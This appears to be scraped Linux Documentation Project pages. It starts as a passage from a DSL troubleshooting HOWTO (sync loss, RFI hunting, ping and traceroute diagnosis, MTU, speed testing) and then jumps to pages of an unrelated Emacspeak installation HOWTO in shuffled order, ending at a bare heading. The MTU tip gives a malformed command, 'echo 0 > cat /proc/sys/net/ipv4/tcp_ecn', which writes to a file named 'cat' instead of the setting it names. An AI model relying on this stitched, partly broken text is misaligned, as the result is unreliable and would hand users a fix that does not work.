  • If running a firewall (e.g. with ipchains), try temporarily taking it down. Possibly this is misconfigured, and not allowing packets through.

  • If the modem was purchased from a source other than your ISP, it may the wrong kind of modem. SDSL needs an SDSL modem, for instance. Also, for ADSL there are CAP and DMT encodings, and these are incompatible with each other.

    The modem may need to be configured for your ISP's service. All modems have configurations for VCI, VPI, encapsulation, etc. Call tech support for this information. Modem configuration is usually done by either telnetting or web browsing to the modem's IP address.

5.3. Sync Problems

Read this section if you have had a working connection, but now have lost sync, are intermittently losing sync, your sync rate has dropped significantly, or are getting a "sync/no surf" condition. (Better quality modems will have a way to report sync rate, usually via telnet or a web browser interface. See the owner's manual.)

A loss of sync indicates a problem with the DSLAM, your line (inside or outside) or your modem. DSLAMs typically have "shelves" with "cards". Alcatel DSLAM cards, just for instance, have a capacity of four connections each. If the card goes bad, at most four customers are effected. The point being that sync loss outages can be very isolated. Unlike network outages that tend to effect large numbers of users. Sync outages are a telco problem, not an ISP problem. If your service agreement is with the ISP, you will need to contact them, who will in turn contact the telco.

Degraded sync rates, and disruption of the DSL signal, can cause various problems. Obviously, you will never get your maximum throughput under these conditions. But, the symptoms are not always obvious as to whether the problem is on your end or the provider's.

For instance, a poor inside wire connection may result in retransmissions of packets that have been dropped. This can really reduce throughput and slow a connection down. It is tempting to think of packet loss as a traditional networking problem, but with DSL it is possible to be the result of a bad line, impaired signal, or even the modem itself.

Some things to try:

  • Power cycle the modem. Turn off the power button/switch, and physically unplug the cable to the wall jack for 30 seconds or so. Turn back on, and re-attach to the wall jack. This will force a resync. Unfortunately, the only way to power down a PCI modem, is to reboot. This may fix a "sync/no surf" condition that is caused by the modem, and maybe other conditions too.

  • See the above section on moving the modem lock, stock and barrel to the NID and thus bypassing all inside wiring. If the situation is improved there, then the problem is inside somewhere. If not, it is a telco problem.

  • RFI Bear-hunt: The DSL signal is fragile. There are a number of things that can degrade it. RFI, or Radio Frequency Interference, from sources in and around the home/office is one common source of reduced signal strength, intermittent sync loss, low sync rates and high line error rates that can cause retransmissions and slow things down. DSL frequencies just happen to be in a range that is susceptible to many potential RFI sources. Our test tool here is simply a portable AM radio. Tune it to any channel where you can get clear reception -- it makes no difference where. The AM radio will pick up RFI that is in the same frequency range as the DSL signal. It will sound like "frying bacon" type static. Put it against your computer's power supply. You should hear some static. Move it away and the static should fade pretty quickly. This will give you an idea of what RFI sounds like. A decent quality power supply should produce only weak RFI -- probably not enough to cause a problem. Use the radio like a Geiger counter and move it around your modem and DSL line. If you hear static, follow it to the source. Things to be suspicious of: power supplies, transformers, ballasts, electric motors, dimmer switches, high intensity lighting. Moving the modem, or rerouting cables is sometimes enough. Keeping the line between the modem and the wall jack as short as possible is a good idea too.

  • Chronic sync problems are often due to a line problem somewhere. Sometimes it is something as simple as a bad splice or corroded jack, and easily remedied if it can be found. Most such conditions can be isolated by a good telco tech. Check with your provider, and politely harass them if you have to. If you get the run-around, ask to go over their heads.

  • If you are near the distance limits of DSL, and having off and on sync problems, try the "Homerun" installation. See above. This can be effective in improving marginal signal/sync conditions.

  • If using a surge protector, try it without the surge protector. Some may interfere with the DSL signal.

Another possibility is a nearby AM radio station, or bandit ham radio operator that are disrupting the DSL signal since they operate in a similar frequency range. These may only cause problems at certain times of day, like when the station boosts its signal at night. A good telco DSL tech may be able to help minimize the impact of this. YMMV.

5.4. Network and Throughput Problems

Read this section if your connection is up, but are having throughput problems. In other words, your speed isn't what it should be based on your bit rate plan, and your distance from the CO. "Network" here is the WAN -- the ISP's gateway and local subnet/backbone, etc. Remember that a marginal line can cause a reduced sync rate, and this will impact throughput. See above.

The two factors we will be looking for are "latency" and "packet loss". Both are pretty easy to track down with the standard networking tools ping and traceroute. If either of these occur in our path, they will impact performance. Latency means "responsiveness" or "lag time". Actually what we are interested in is abnormally high latency, since there is always some latency. Packet loss is when a packet of data gets dropped somewhere along the way. TCP/IP will know it's been "lost", and there will be a retransmission of the lost data. Enough of this can really slow things down. Ideally packet loss should be 0%.

What we really need to be concerned about is that part of the WAN route that we routinely traverse. If you do a traceroute to several different sites, you will probably see that the first few "hops" tend to be the same. These are your ISP's local backbone, and your ISP's upstream provider's gateway. Any problem with any of this, and it will effect everywhere you go and everything you do.

We can start looking for packet loss and latency by pinging two or three different sites, hopefully in at least a couple of different directions. We will be looking for packet loss and/or unusually high latency.

 $ ping -c 12 -n www.linuxdoc.org
 PING www.linuxdoc.org (152.19.254.81) : 56(84) bytes of data.
 64 bytes from 152.19.254.81: icmp_seq=0 ttl=242 time=62.1 ms
 64 bytes from 152.19.254.81: icmp_seq=1 ttl=242 time=60.8 ms
 64 bytes from 152.19.254.81: icmp_seq=2 ttl=242 time=59.9 ms
 64 bytes from 152.19.254.81: icmp_seq=3 ttl=242 time=61.8 ms
 64 bytes from 152.19.254.81: icmp_seq=4 ttl=242 time=64.1 ms
 64 bytes from 152.19.254.81: icmp_seq=5 ttl=242 time=62.8 ms
 64 bytes from 152.19.254.81: icmp_seq=6 ttl=242 time=62.6 ms
 64 bytes from 152.19.254.81: icmp_seq=7 ttl=242 time=60.3 ms
 64 bytes from 152.19.254.81: icmp_seq=8 ttl=242 time=61.1 ms
 64 bytes from 152.19.254.81: icmp_seq=9 ttl=242 time=60.9 ms
 64 bytes from 152.19.254.81: icmp_seq=10 ttl=242 time=62.4 ms
 64 bytes from 152.19.254.81: icmp_seq=11 ttl=242 time=63.0 ms

 --- www.linuxdoc.org ping statistics ---
 12 packets transmitted, 12 packets received, 0% packet loss
 round-trip min/avg/max = 59.9/61.8/64.1 ms

The above example is pretty normal from here. (You probably have a very different route to this site, and your results may thus be quite different.) Apparently no serious underlying problems that would slow me down. The below example reveals a problem:

 $ ping -c 20 -n www.debian.org

 PING www.debian.org (198.186.203.20) : 56(84) bytes of data.
 64 bytes from 198.186.203.20: icmp_seq=0 ttl=241 time=404.9 ms
 64 bytes from 198.186.203.20: icmp_seq=1 ttl=241 time=394.9 ms
 64 bytes from 198.186.203.20: icmp_seq=2 ttl=241 time=402.1 ms
 64 bytes from 198.186.203.20: icmp_seq=4 ttl=241 time=2870.3 ms
 64 bytes from 198.186.203.20: icmp_seq=7 ttl=241 time=126.9 ms
 64 bytes from 198.186.203.20: icmp_seq=12 ttl=241 time=88.3 ms
 64 bytes from 198.186.203.20: icmp_seq=13 ttl=241 time=87.9 ms
 64 bytes from 198.186.203.20: icmp_seq=14 ttl=241 time=87.7 ms
 64 bytes from 198.186.203.20: icmp_seq=15 ttl=241 time=85.0 ms
 64 bytes from 198.186.203.20: icmp_seq=16 ttl=241 time=84.5 ms
 64 bytes from 198.186.203.20: icmp_seq=17 ttl=241 time=90.7 ms
 64 bytes from 198.186.203.20: icmp_seq=18 ttl=241 time=87.3 ms
 64 bytes from 198.186.203.20: icmp_seq=19 ttl=241 time=87.6 ms

 --- www.debian.org ping statistics ---
 20 packets transmitted, 13 packets received, 35% packet loss
 round-trip min/avg/max = 84.5/376.7/2870.3 ms

High packet loss at 35%, and some really slow roundtrip times in there as well. A little digging on this showed that it was a backbone router 13 hops into the traceroute that was the problem. While making this site really slow from here, it would only effect those routes that happen to hit that same router. Now what would really hurt us is if something similar happens with a router that we tend to go through consistently. Like our gateway, or maybe the second hop router too. Find these with traceroute, by just picking a random site:

 $ traceroute www.bellsouth.net

 traceroute to bellsouth.net (192.223.22.134), 30 hops max, 38 byte packets
  1  adsl-78-196-1.sdf.bellsouth.net (216.78.196.1)  14.86ms  7.96ms 12.59ms
  2  205.152.133.65 (205.152.133.65)                  7.90ms  8.12ms  7.73ms
  3  205.152.133.248 (205.152.133.248)                8.99ms  8.52ms  8.17ms
  4  Hssi4-1-0.GW1.IND1.ALTER.NET (157.130.100.153)  11.36ms 11.48ms 11.72ms
  5  125.ATM3-0.XR2.CHI4.ALTER.NET (146.188.208.106) 14.46ms 14.23ms 14.40ms
  6  194.at-1-0-0.TR2.CHI2.ALTER.NET (152.63.65.66)  16.48ms 15.69ms 16.37ms
  7  126.at-5-1-0.TR2.ATL5.ALTER.NET (152.63.0.213)  65.66ms 66.18ms 66.39ms
  8  296.ATM6-0.XR2.ATL1.ALTER.NET (152.63.81.37)    66.86ms 66.42ms 66.40ms
  9  194.ATM8-0.GW1.ATL3.ALTER.NET (146.188.233.53)  67.87ms 68.69ms 69.63ms
 10  IMVI-gw.customer.ALTER.NET (157.130.69.202)     69.88ms 69.25ms 69.35ms
 11  www.bellsouth.net (192.223.22.134)              68.74ms 69.06ms 68.05ms

The first hop is the gateway. In fact, for me the first two hops are always the same, and the first three or four are often the same. So a problem with any of these may cause a problem anywhere I go. (The specifics of your own situation may be a little different than this example.) A "normal" gateway ping (normal for me!):

 $ ping -c 12 -n 216.78.196.1

 PING 216.78.196.1 (216.78.196.1) : 56(84) bytes of data.
 64 bytes from 216.78.196.1: icmp_seq=0 ttl=64 time=14.6 ms
 64 bytes from 216.78.196.1: icmp_seq=1 ttl=64 time=15.4 ms
 64 bytes from 216.78.196.1: icmp_seq=2 ttl=64 time=15.0 ms
 64 bytes from 216.78.196.1: icmp_seq=3 ttl=64 time=15.2 ms
 64 bytes from 216.78.196.1: icmp_seq=4 ttl=64 time=14.9 ms
 64 bytes from 216.78.196.1: icmp_seq=5 ttl=64 time=15.3 ms
 64 bytes from 216.78.196.1: icmp_seq=6 ttl=64 time=15.4 ms
 64 bytes from 216.78.196.1: icmp_seq=7 ttl=64 time=15.0 ms
 64 bytes from 216.78.196.1: icmp_seq=8 ttl=64 time=14.7 ms
 64 bytes from 216.78.196.1: icmp_seq=9 ttl=64 time=14.9 ms
 64 bytes from 216.78.196.1: icmp_seq=10 ttl=64 time=16.2 ms
 64 bytes from 216.78.196.1: icmp_seq=11 ttl=64 time=14.8 ms

 --- 216.78.196.1 ping statistics ---
 12 packets transmitted, 12 packets received, 0% packet loss
 round-trip min/avg/max = 14.6/15.1/16.2 ms

And a problem with the same gateway on a different day:

 $ ping  -c 12 -n 216.78.196.1

 PING 216.78.196.1 (216.78.196.1) : 56(84) bytes of data.
 64 bytes from 216.78.196.1: icmp_seq=0 ttl=64 time=20.5 ms
 64 bytes from 216.78.196.1: icmp_seq=3 ttl=64 time=22.0 ms
 64 bytes from 216.78.196.1: icmp_seq=4 ttl=64 time=21.8 ms
 64 bytes from 216.78.196.1: icmp_seq=6 ttl=64 time=32.0 ms
 64 bytes from 216.78.196.1: icmp_seq=8 ttl=64 time=21.7 ms
 64 bytes from 216.78.196.1: icmp_seq=9 ttl=64 time=42.0 ms
 64 bytes from 216.78.196.1: icmp_seq=10 ttl=64 time=26.8 ms

 --- adsl-78-196-1.sdf.bellsouth.net ping statistics ---
 12 packets transmitted, 7 packets received, 41% packet loss
 round-trip min/avg/max = 20.5/25.6/42.0 ms

41% packet loss is very high, to the point where many services, like HTTP, come to a screeching halt. Those services that were working, were working very, very slowly.

It's a little tempting on this last real-life example to think this gateway router is acting up. But, as it turned out, this was the result of a problem in the DSLAM/ATM segment of the telco's network. So any first hop problem with packet loss or high latency, may actually be the result of something occurring before the first hop. We just don't have the tools to isolate where it is starting well enough. Packet loss can be a telco problem, just as much as an ISP/NSP problem. Or conceivably, even a modem problem. In which case try resetting the modem by power cycling and by unplugging/replugging the DSL cable (from the wall jack).

It is also quite possible for the modem itself to cause packet loss. The fix here is to power cycle the modem, and resync by unplugging the DSL connection for 30 seconds or so. In fact, any part of the connection can be a source of packet loss -- modem, DSLAM, ATM network, etc.

If you do find a problem within your ISP's network, it's time to report the problem to tech support.

5.4.1. Miscellaneous Network Problems

Some odds and ends:

  • Some Web pages won't load. For PPPoX users, the MTU value could be too high. This will cause packet fragmentation, and likely will cause misbehaving routers to fail to route your requests per Path MTU Discovery specs.The correct ppp0 device setting should be a maximum of 1492, but actually it needs to be 8 bytes less than any router you pass through on the way to the site. If a router somewhere is misconfigured, you could have problems. Try experimenting with lower MTU values. Any LAN hosts behind the connection, may even need to be even lower -- 1452 or maybe even 1412. If ECN is enabled, it might also cause this problem. Cured with "echo 0 > cat /proc/sys/net/ipv4/tcp_ecn".

  • Ping by IP address works, but not hostname. The nameservers are not being setup correctly in /etc/resolv.conf. Check your client's (DHCP, PPPoX) documentation or enter these manually with a text editor. Get the correct DNS server addresses from your ISP.

  • PPPoX disconnects. Unfortunately, PPPoX is more likely to drop connections than routed or bridged networks. PPP can be sensitive to any line condition which results in a temporary interruption of the connection. This may not be completely solvable, depending on what and where the problem is. Check your client's docs for "LCP Keepalive" features. There generally is a timeout on each end of the connection if the other end does not respond. If worse comes to worse, set up a cron job to watch the connection, and re-establish if necessary.

    Some providers may also be enforcing idle timeout disconnects. This is a different issue altogether, since it is deliberate. The solution here is to switch providers if you can.

  • Interface or route goes down for no reason. If ifconfig and/or route show the interface and/or route has automagically disappeared, it may be due to a buggy NIC driver.

  • Sub-par performance, or errors with the interface (e.g. eth0), may possibly be caused by a duplex mismatch. This would be most apparent when maxing out the connection. Most DSL modems and routers typically are set to half duplex, and your NIC that interfaces with the modem should be set likewise.

5.5. Measuring Throughput

One of the first things most of us do is check our speeds to make sure we aren't getting short changed, and that our system is up to snuff. Doing this accurately is easier said than done however. First, remember you are losing 10-20% right off the top due to networking protocol overhead. Just how much is "lost" here depends on your provider's network architecture, where and how you are measuring this and other considerations. Most of us may wind up being closer to 20% than 10%.

Then, any time you hit the Internet, there is some slight degradation of performance with each hop you take. Now this may not amount to much, as long as you are not taking too many hops and all the components -- your system, your ISP's network, your ISP's upstream provider, and the destination itself -- are all working like well oiled machines. But there's the rub -- how do you really know with so many variables in the mix? One flaky interface, on one router, on one hop along the path, may cause misleading results.

Your absolute max speed is going to be at your point of connection to your ISP -- the ISP's gateway. It can only go downhill from there, not up! So the ideal test is as close to home as possible. This eliminates as many unknown variables as possible. If your ISP has a local ftp server, this is an excellent place to run your own tests. (Run a traceroute though just to see how local it really is.)

If your ISP does not have this, look for an ftp site that is close -- the fewer the hops, the better. And look for one that isn't too busy, or you will get misleading results. Find a large file -- like 10 Megs -- and time the download. Try this over several days, and at different times of day. The server, and the backbone, are going to be busier at certain times of day, which can skew results and you want to eliminate these variables as much as possible. Your provider cannot compensate for heavy backbone traffic, backbone bottlenecks, slow or busy servers, etc.

There are many test sites scattered around the web. Some are better than others, but take these with a grain of salt. There are just too many variables for these tests to reliably give you an accurate snapshot of your connection and throughput. They may give you a general picture of whether you are in the ballpark of where you think you should be or not. One good speed test is http://www.dslreports.com/stest/0. Another test is http://speedtest.mybc.com/ (both are Java). I find these to be better than some of the others out there.

Now keeping in mind that we are limited by the ~10-20% networking overhead rule, here is an example. My speed is capped at 1472 Kbps sync rate. Minus the ~15% is 1275 Kbps. My sync rate is known to be good and my distance to the CO is about 11,000 Ft, which is close enough that I should be able to hit my real world maximum throughput of 1275 Kbps or roughly 1.2-1.3 Mbps -- all other things being equal. From dslreports.com speed test:

 Test running..Downloaded 60900bytes in 5918ms
 Downloaded 696000bytes in 4914ms
 First guess is 1133kbps
 fairly fast line - now test 2mb
 Downloaded 1679100bytes in 11090ms
 Upload got ok 1 bytes uploaded
 Uploaded 1bytes in 211ms
 Upload got ok 1 bytes uploaded
 Uploaded 1bytes in 205ms
 Upload got ok 1 bytes uploaded
 Uploaded 1bytes in 207ms
 Upload got ok 50000 bytes uploaded
 Uploaded 50000bytes in 2065ms
 Upload got ok 100000 bytes uploaded
 Uploaded 100000bytes in 3911ms

 ** Speed 1211(down)/215(up) kbps **
 (At least 24 times faster than a 56k modem)
 Finish.

1.211 Mbps is probably about as good as I can realistically expect based on my service. There is no reason for me to go troubleshooting or looking for tweaks.

Big Caution: my ISP uses a caching proxy server for web pages. This is a big equalizer for these kinds of web based tests. Without that, I surely would have been significantly slower on this test. The effect of the proxy is that you are actually testing throughput from the proxy -- NOT the test site. Just FYI. Another note: at the same time I tried another test site and was consistently getting 600-700 Kbps. So YMMV with these tests. (Usually I get the same on each, more or less.) Timing a large ftp download from two different sites, I calculated about 1.25 Mbps.

Prev | Home | Next
Securing Your Connection |  | Appendix: DSL Overview


Acknowledgments

Installing Emacspeak HOWTO
Prev

10. Acknowledgments

As with any effort for the Linux project, there are a number of people who contributed to this HOWTO in a roundabout way. Without their help, this document would not exist.

Mr. James Van Zandt, the original author of the Emacspeak HOWTO. He graciously allowed me maintainership of the original HOWTO, which has been reworked into this document, "The Emacspeak Installation HOWTO."

Dr. T.V. Raman, who always answered my Emacspeak questions, no matter how odd.

Marty Moore, who provided a list of instructions for installing Emacspeak and ViaVoice under Mandrake. Many of Marty's instructions were used to make this document more complete.

Tim Cross also deserves recognition, as he clarified several points in Marty's instructions, and some of Tim's comments are also used in this document. Tim also provided excellent explanations for the libXm.so.1 error message, as well as the "process speaker not running" error message.

All the folks on the Emacspeak and blinux mailing lists who contributed suggestions, answered my questions, and gently showed me the errors in my ways.

Throughout this document, I have tried to give credit to other authors when referring to their work. If I missed a citation, please let me know and I will be sure to correct it. If you did the work, you certainly deserve the credit!

Prev | Home
Appendix B: Installing ViaVoice TTS |


Additional resources

Installing Emacspeak HOWTO
Prev Next

7. Additional resources

Once Emacspeak has been successfully installed, you should become familiar with the Emacspeak commands and the many applications you can run with Emacs. Although this HOWTO does not cover this information, there are a number of excellent tutorials that are available for new users of both Emacs and Emacspeak. The following list provides a starting point:

  • "A gentle introduction to Emacspeak," by Gary Lawrence Murphy, http://emacspeak-guide.sourceforge.net/tutorial.html/. Gary provides a lighthearted but thorough introduction to Emacs and Emacspeak, focusing on users who are not familiar with either application. This introduction is recommend as a starting point, even before you do the Emacs tutorial (see next item).

  • "The (Official) Emacs Tutorial," by the Free Software Foundation. I call this the "official" tutorial because it is included with Emacs. To access this tutorial, start Emacspeak, then type C-h t. This tutorial discusses the basic Emacs commands, including navigation, using Emacs as a text editor, and a bit about how Emacs works "under the hood." For new users this tutorial is strongly recommended, and even those users who are familiar with Emacs might find something new.

  • "Emacspeak Tutorial," by Nita Van Zandt, available at http://www.mv.com/ipusers/vanzandt/emacspeak-tutorial-1.0.tar.gz. This tutorial helps new Emacspeak users get up and running and includes plenty of examples and step-by-step instructions. Once you have a grasp of Emacs, this tutorial is a must.

  • "The Emacs Beginner's HOWTO," by Jeremy D. Zawodny. It is available at http://www.linuxdoc.org/HOWTO/Emacs-Beginner-HOWTO.html and discusses many of the topics discussed in the Emacs tutorial. However, it also includes overviews of some of the more popular Emacs packages, including VM, Gnus, BBDB, and AucTeX.

  • "Using Emacspeak HOWTO," by Jennifer Jobst, available at http://emacspeak.sourceforge.net. This HOWTO is a task-based guide on getting the most out of Emacs and Emacspeak. From browsing the Internet to coding to playing games, this HOWTO tells you where to get the best Emacs applications for each task and how to use them.

Prev | Home | Next
Frequently Asked Questions (FAQs) |  | Appendix A: Installing Linux from a DOS machine


Appendix A: Installing Linux from a DOS machine

Installing Emacspeak HOWTO
Prev Next

8. Appendix A: Installing Linux from a DOS machine

In the original Emacspeak HOWTO, James Van Zandt provided instructions on how to install Linux from a DOS machine using a null-modem cable. As with the other instructions in this HOWTO, I tried, unfortunately without success, to duplicate this procedure. However, I have provided the information gathered during testing in the following section. If you successfully install Linux from a Windows™ or DOS™ machine over a null-modem cable, please let me know the procedure you followed and I'll include it here.

Please note that the original instructions for installing Linux over a null modem cable were written for a DOS machine. I first attempted to reproduce these instructions with my Windows 2000 machine (from the DOS prompt) and Red Hat 7.1. Although I successfully downloaded and installed JAWS for DOS (available from Freedom Scientific at http://www.freedomscientific.com/fs_downloads/morejaws.asp), I was unable to get a DOS VT100 terminal emulator installed. I tried using TELIX, which was popular several years ago, but when I tried to install TELIX version 3.51, I got a runtime error. Since I was unable to find any other DOS terminal emulators, I decided to try using a Windows screenreader and terminal emulator instead. This section documents the procedure I tried with the Windows machine.

8.1. Requirments

For this process, you will need a machine with a working speech synthesizer and a terminal emulator program. For my test, I used a Windows 2000 machine and tried both Narrarator (which comes with Windows 2000) and JAWS for Windows v.3.5. For the terminal emulator, I used tried both Hyperterminal (which comes with Windows) and CRT (which can be downloaded from http://www.vandyke.com/products/crt). You will also need a second machine (on which to install Linux), a null modem cable, and a copy of your preferred Linux distribution on either floppy disk or CD-ROM.

8.2. Connecting the computers

To connect the two computers, you need a "null modem" cable. A "null modem" cable is a serial cable that connects ground to ground and transmits on each end to receive on the other. The cable that comes with the DOS application LapLink will work fine. The LapLink cable is particularly handy because it has both a 9 pin and a 25 pin connector on each end. Alternatively, you may be able to find a null modem cable at your local computer store, or you can have one made. If you choose to have one made, here are the required connections:

  • For two 9 pin connectors, connect pin 2 (receive data) to pin 3, pin 3 (transmit data) to pin 2, and pin 5 (signal ground) to pin 5.

  • For two 25 pin connectors, connect pin 2 (receive data) to pin 3, pin 3 (transmit data) to pin 2, and pin 7 (signal ground) to pin 7.

  • For a 9 pin connector (first) to a 25 pin connector (second), connect pin 2 (receive data) to pin 2 (transmit data), pin 3 (transmit data) to pin 3 (receive data), and pin 5 (signal ground) to pin 7 (signal ground).

Once you have your null modem cable, you'll need to connect the two machines while both of them are off. It's easiest to use COM1 on both machines. Once you've got them connected, you're ready to start them up, as discussed in the next section

8.3. Installation

Once your machines are connected via the null modem cable, boot the DOS/Windows machine, then start the terminal emulation program. For my test, I tried both Hyperterminal (which comes with Windows 2000) and CRT (which can be downloaded from http://www.vandyke.com/products/crt. For some reason, the arrow keys did not work in HyperTerminal, making navigation within the HyperTerminal window impossible. However, the arrow keys (as well as Tab and Return) do work in CRT, so I recommend using CRT as your terminal emulator.

Set the terminal emulator for 9600 baud, no parity, eight data bits, 1 stop bit. If "Flow control" is an option, select Hardware. Also be sure to set your terminal emulation mode to VT100. Start the terminal emulator connection (you won't get any data at this point, as your Linux machine should still be off).

Once you've set up the terminal emulator on your DOS/Windows machine, insert the "boot" floppy or CD into your Linux machine and boot the machine. With Red Hat, at the boot: prompt, I typed in the command linux text console=ttyS0. Note that the "s" in "ttyS0" is capitalized, and that's a "zero" at the end of the string, not a capital letter "o." Other distributions may require other strings, so if you know the syntax required for distros other than Red Hat, please let me know and I will include that information here.

Once you've typed in this string at the boot: prompt and hit Return, you should get output in your terminal emulator program on your DOS/Windows machine. Unfortunately, at this point I discovered that neither JAWS for Windows nor Narrarator produces speech output in either the HyperTerminal or CRT terminal windows. This ultimately stymied my attempts to install Linux over a null modem cable.

Prev | Home | Next
Additional resources |  | Appendix B: Installing ViaVoice TTS


Appendix B: Installing ViaVoice TTS

Installing Emacspeak HOWTO
Prev Next

9. Appendix B: Installing ViaVoice TTS

This section steps through the installation of ViaVoice TTS, which can be used as a software synthesizer with Emacspeak.

9.1. Downloading ViaVoice

First, you must download the ViaVoice Software Development Kit (SDK) and the Run Time Kit (RTK), as described in the following steps.

  1. Go to IBM's ViaVoice TTS website at http://www-4.ibm.com/software/speech/dev/ttssdk_linux.html.

  2. Scroll down to the Downloads section, and click on the Downloads link. You will be asked to provide a username and password before you download anything.

  3. Download the following files:

    • ViaVoice TTS SDK for Linux V5.1. The filename is viavoice_tts_sdk_5.tar.

    • ViaVoice TTS Run Time Kit for Linux V5.1. The filename is viavoice_tts_rtk_5.tar.

9.2. Installing ViaVoice RTK

Now that you have downloaded the ViaVoice files, you can install them. You must install the RTK first, as it contains libraries required by the SDK.

  1. Type the su root command and provide the root password to log on to your system as root.

  2. Type the cd command to change to the directory that contains the files you just downloaded.

  3. Untar the RTK using the command tar -xvf viavoice_tts_rtk_5.tar. You should now have two files in your directory, ttsrt_readme.txt and ViaVoice_TTS_rtk_5.1-1.2.i386.rpm.

  4. Unpack the rpm using the command rpm -i ViaVoice_TTS_rtk_5.1-1.2.i386.rpm. You will be given a license agreement to read. You can press the spacebar to scroll through the document. When you've read the document, you'll be returned to the command prompt.

  5. Type the command source /etc/profile to finish installing the RTK.

9.3. Installing ViaVoice SDK

Now that you have installed the RTK, you can install the SDK as well using the following steps:

  1. Change directories to the directory that contains the SDK file you downloaded.

  2. Untar the SDK file using the command tar -xvf viavoice_tts_sdk_5.tar. You should now have two files in your directory, ttssd.readme.txt and ViaVoice_TTS_sdk-5.1-1.2.i386.rpm.

  3. Unpack the rpm using the command rpm -i --nodeps ViaVoice_TTS_sdk-5.1-1.2.i386.rpm. You will be given a license agreement to read. You can press the spacebar to scroll through the agreement. When you've read the document, you'll be returned to the command prompt.

9.4. Testing the installation

Now that you have installed both the ViaVoice RTK and SDK, you must test to make sure that they are working correctly. You can perform two tests using the following steps:

  1. Type the cd command to change to the /usr/lib/ViaVoiceTTS/samples/cmdlinespeak/ directory.

  2. Type the command ./runcmdlinespeak at the prompt. You should hear your computer say "Hello, welcome to ViaVoice Outloud for Linux." Normal system volume is often very low, so you may not be able to hear it very well. Refer to Section 6, Troubleshooting, for information on how to increase your system volume.

If for some reason your test was not successful, refer to the installation notes provided with both the RTK (ttsrt.readme.txt) and the SDK (ttssd.readme.txt) for debugging information.

Prev | Home | Next
Appendix A: Installing Linux from a DOS machine |  | Acknowledgments


Documentation Conventions

Installing Emacspeak HOWTO
Prev Next

3. Documentation Conventions

As per the LDP Author Guide, this HOWTO uses the following documentation conventions:

File Names: | file.extension
Commands to be typed: | command
Command prompt: | > (unless otherwise specified)

Prev | Home | Next
Introduction |  | Requirements


Installing Emacspeak HOWTO

Jennifer Jobst

jobst@us.ibm.com

James Van Zandt

jrv@vanzandt.mv.com

December 4, 2001

Revision History
Revision 1.0 | December 4, 2001 | Revised by: JEJ
First release
Revision 1.0 DRAFT | November 9, 2001 | Revised by: JEJ
DRAFT
Revision Emacspeak HOWTO | 1996-2001 | Revised by: JVZ
Previously, this document was known as the Emacspeak HOWTO, and was written and maintained by Mr. James Van Zandt.

This document contains the installation instructions for the Emacspeak audio desktop application for Linux.

Table of Contents
1. Legal Notice
2. Introduction
3. Documentation Conventions
4. Requirements
4.1. Linux Distributions
4.2. Emacs
4.3. Background applications
4.4. Speech Synthesizers
5. Installing Emacspeak
6. Frequently Asked Questions (FAQs)
7. Additional resources
8. Appendix A: Installing Linux from a DOS machine
8.1. Requirments
8.2. Connecting the computers
8.3. Installation
9. Appendix B: Installing ViaVoice TTS
9.1. Downloading ViaVoice
9.2. Installing ViaVoice RTK
9.3. Installing ViaVoice SDK
9.4. Testing the installation
10. Acknowledgments
Next
Legal Notice


Installing Emacspeak

Installing Emacspeak HOWTO
Prev Next

5. Installing Emacspeak

Assuming that you have all the items listed in Section 4, Requirements, you are ready to install Emacspeak. The following steps provide the instructions to do so.

  1. Go to the Emacspeak site at http://emacspeak.sourceforge.net and, from the Support and Documentation section, select an Emacspeak file to download. If you select the binary file, emacspeak.tar.gz, you will need to configure and make Emacspeak. If you have some experience with Linux, or if you're using a distribution that does not support RPMs, you should download this option. If your distro supports RPMs, you can download the ready-to-install version of Emacspeak (emacspeak-14.0-1.noarch.rpm).

  2. Download the file and place it in your home directory.

  3. Type su root and provide the root password if you are not already logged onto your machine as root. You'll need root permissions to install Emacspeak.

  4. If you downloaded the rpm version of Emacspeak, unpack it using the command rpm -i emacspeak-14.0-1.noarch.rpm. If you downloaded the binary version, unzip and untar the file, then follow the installation directions in the README file in the resulting emacspeak-14.0 directory.

    Once you have installed the rpm, you'll see a message saying that Emacspeak installed successfully, as well as some additional instructions.

  5. If you are using Emacspeak v.14 or earlier and also using ViaVoice TTS as your synthesizer, change directories to the /usr/share/emacs/site-lisp/emacspeak/servers/linux-outloud directory and type the command make. This command compiles the ViaVoice TTS server. If you are not using ViaVoice, or if you have Emacspeak v.15 or later, you do not need to complete this step.

  6. Using the cd command, change directories to the /etc directory and open your profile file with your favorite text editor (you must be root to edit the profile). Scroll to the bottom of the file, then add the following two lines:

                export DTK_PROGRAM
            DTK_PROGRAM=name of your speech server

    The value of DTK_PROGRAM must be the name of your speech server. A list of standard Emacspeak-supported speech synthesizers and the names of their respective speech servers is below.

    ViaVoice TTS | outloud
    DecTalk Xpress | dtk-exp
    DecTalk MultiVoice | dtk-mv

    Several additional synthesizers are supported, but they require add-on speech servers. Refer to the documentation for each specific speech server for more information.

  7. Save your profile file and close it.

Now, you should have installed and configured everything required to run Emacspeak. To use Emacspeak, log on to your system as someone other than root (you should never run Emacspeak as root), and type emacspeak at the prompt. Emacspeak should start talking immediately.

Prev | Home | Next
Requirements |  | Frequently Asked Questions (FAQs)


Introduction

Installing Emacspeak HOWTO
Prev Next

2. Introduction

Emacspeak is a Linux application that allows users to get synthesized speech output inside the Emacs desktop environment. Because Emacspeak is actually integrated into the Emacs environment (instead of just running "on top" of an environment like most screen readers), Emacspeak provides much more context-specific information than its commercial screen reader counterparts. In this sense, Emacspeak is not a "screen reader," but rather a subsystem of Emacs that produces speech output.

Although Emacspeak only works inside Emacs, there are a large number of both built-in and add-on applications for Emacs that do everything from keeping track of your appointments to playing CDs to coding HTML. In addition, Emacs has a special command shell mode that can be used to run any command-line application.

This HOWTO focuses on installing Emacspeak on your Linux system. It does not discuss how to actually use Emacs or Emacspeak - for information on usage, refer to the Emacspeak User's Guide, available at http://emacspeak.sourceforge.net.

Prev | Home | Next
Legal Notice |  | Documentation Conventions


Legal Notice

Installing Emacspeak HOWTO
Prev Next

1. Legal Notice

This document is Copyright © 2001 IBM. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license can be found at http://www.gnu.org/license/fdl.txt.

Prev | Home | Next
Installing Emacspeak HOWTO |  | Introduction


Requirements

Installing Emacspeak HOWTO
Prev Next

4. Requirements

There are a number of things you must have before you install Emacspeak, including Linux, a Linux-compatible sound card, Emacs, and a hardware or software speech synthesizer. You should read this section carefully before installing Emacspeak, because Emacspeak will not function correctly if any of the requirements are missing.

4.1. Linux Distributions

